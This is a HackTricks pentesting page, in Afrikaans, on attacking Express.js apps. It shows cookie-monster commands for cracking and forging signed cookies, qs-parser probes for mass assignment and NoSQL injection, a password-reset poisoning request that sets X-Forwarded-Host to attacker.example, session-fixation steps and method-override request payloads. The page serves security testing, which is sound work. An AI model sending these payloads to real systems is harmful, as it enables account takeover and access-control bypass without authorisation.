NodeJS Express

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Quick Fingerprinting

Nuttige Express-aanwysers tydens recon:

  • X-Powered-By: Express of stack traces wat express, body-parser, qs, cookie-parser, express-session, of finalhandler noem
  • Cookies met die voorvoegsel s: (signed cookie) of j: (JSON cookie)
  • Session cookies soos connect.sid
  • Verborge formvelde of query parameters soos _method=PUT / _method=DELETE
  • Foutbladsye leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, of URIError tydens query parsing

Wanneer jy Express bevestig, fokus op die middleware chain, want meeste interessante bugs kom van parsers, proxy trust, session handling, en method-tunneling eerder as van die framework core self.

Die tool https://github.com/DigitalInterruption/cookie-monster is ’n utility vir die outomatisering van die toetsing en her-ondertekening van Express.js cookie secrets.

Express openbaar gewoonlik twee nuttige cookie-formate:

  • s:<value>.<sig> signed cookies wat hanteer word deur cookie-parser of express-session
  • j:<json> JSON cookies wat outomaties geparse word deur cookie-parser

As cookie-parser ’n signed cookie ontvang en die signature ongeldig is, word die waarde false in plaas van die gemanipuleerde waarde. As die aplikasi ’n array van secrets aanvaar, mag ou secrets steeds bestaande cookies verifieer na rotasie.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Aangepaste woordlys

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Toets verskeie cookies in batch-modus

cookie-monster -b -f cookies.json

Toets meerdere cookies met batch mode en custom wordlist

cookie-monster -b -f cookies.json -w custom.lst

As jy die geheim ken, kan jy die cookie onderteken.

cookie-monster -e -f new_cookie.json -k secret

Query String en URL-Encoded Parser Misbruik

Express-teikens word dikwels interessant wanneer hulle aanvaller-gekontroleerde sleutels in geneste objekte ontleed.

  • req.query kan gekonfigureer word met verskillende parsers, insluitend qs
  • express.urlencoded({ extended: true }) gebruik qs-styl parsing vir application/x-www-form-urlencoded
  • Geneste ontleding ontsluit object injection, mass assignment, NoSQL injection, en prototype pollution kettings as die geparsde objek in die application state saamgevoeg word

Praktiese payloads om te probeer:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

As die app die resulterende object weerspieël of volhoubaar stoor, skakel oor na die toegewyde bladsye vir exploitation details:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Ekstra toetse wat die moeite werd is om spesifiek teen Express te stuur:

  • Diepe geneste invoer om na parser-limiete, timeouts, of 400/413-verskille te kyk
  • Duplicate keys om te sien of die app die eerste waarde, die laaste een, of ’n array hou
  • Hakie-sintaks soos a[b][c]=1, punt-sintaks soos a.b=1, en __proto__ / constructor[prototype] payloads

trust proxy Misbruik

As die app app.set("trust proxy", true) gebruik of te veel hops vertrou, sal Express sekuriteitsrelevante waardes uit forwarding headers aflei. As die reverse proxy dit nie oorskryf nie, kan ’n kliënt dit direk spoof.

Dit beïnvloed:

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

Dit is nuttig vir:

  • Password reset poisoning en absolute URL poisoning
  • Bypassing IP-based allowlists, rate limits, of audit trails
  • Om secure cookie handling en HTTPS-only logika in apps wat op req.protocol staat te beïnvloed
  • Poisoning van redirects of cacheable responses wanneer die app absolute skakels met forwarded host/proto headers in templates plaas
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Kontroleer of gegenereerde skakels, omleidingslokasies, logs, of access-control-besluite nou waardes gebruik wat deur ’n aanvaller verskaf is.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session Testing Notes

Algemene Express-deployments gebruik express-session, wat die sessie-identifiseerder-cookie onderteken maar die werklike toestand server-side stoor.

Nuttige kontroles:

  • Session fixation: authentiseer met ’n pre-login cookie en verifieer of die SID dieselfde bly na login
  • Weak secret rotation: sommige deployments verifieer cookies met ’n reeks ou secrets, sodat voorheen geldige handtekeninge steeds kan werk
  • saveUninitialized: true: die toepassing gee pre-auth-sessies aan anonieme gebruikers, wat fixation makliker maak en die sessie-oppervlakte verhoog vir brute-force of cache-analise
  • MemoryStore in production dui gewoonlik op swak operationele volwassenheid en onstabiele sessiegedrag tydens herstarts

’n Praktiese fixation-werkstroom:

  1. Kry ’n anonieme sessie-cookie van die teiken.
  2. Stuur daardie cookie na ’n slagoffer of authentiseer self daarmee.
  3. Kontroleer of aanmelding die geverifieerde toestand bind aan die bestaande SID.
  4. As dit gebeur, herspeel dieselfde cookie in ’n aparte blaaier-sessie.

As die app nie req.session.regenerate() na authentisering aanroep nie, is fixation dikwels steeds moontlik.

Method Override Tunneling

Sommige Express-apps gebruik method-override om HTTP-verbs te tunnel wat HTML forms nie inheemse kan stuur nie. Wanneer geaktiveer, toets altyd of jy gevaarlike metodes kan insmokkel deur ’n roete wat die front-end, WAF, of CSRF-logika veronderstel het slegs POST is.

Tipiese probes:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Interessante impakte:

  • Toegang tot verborge PUT / PATCH / DELETE roetes deur POST-only edge control
  • Oorkoming van route-spesifieke middleware wat slegs req.method kontroleer
  • Aansturing van staatveranderende handlers via CSRF wanneer die toepassing slegs die buitenste versoekmetode valideer

By verstek oorskryf die middleware gewoonlik net POST, dus prioritiseer POST versoeke met header-, body- en query-string-override-waardes.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks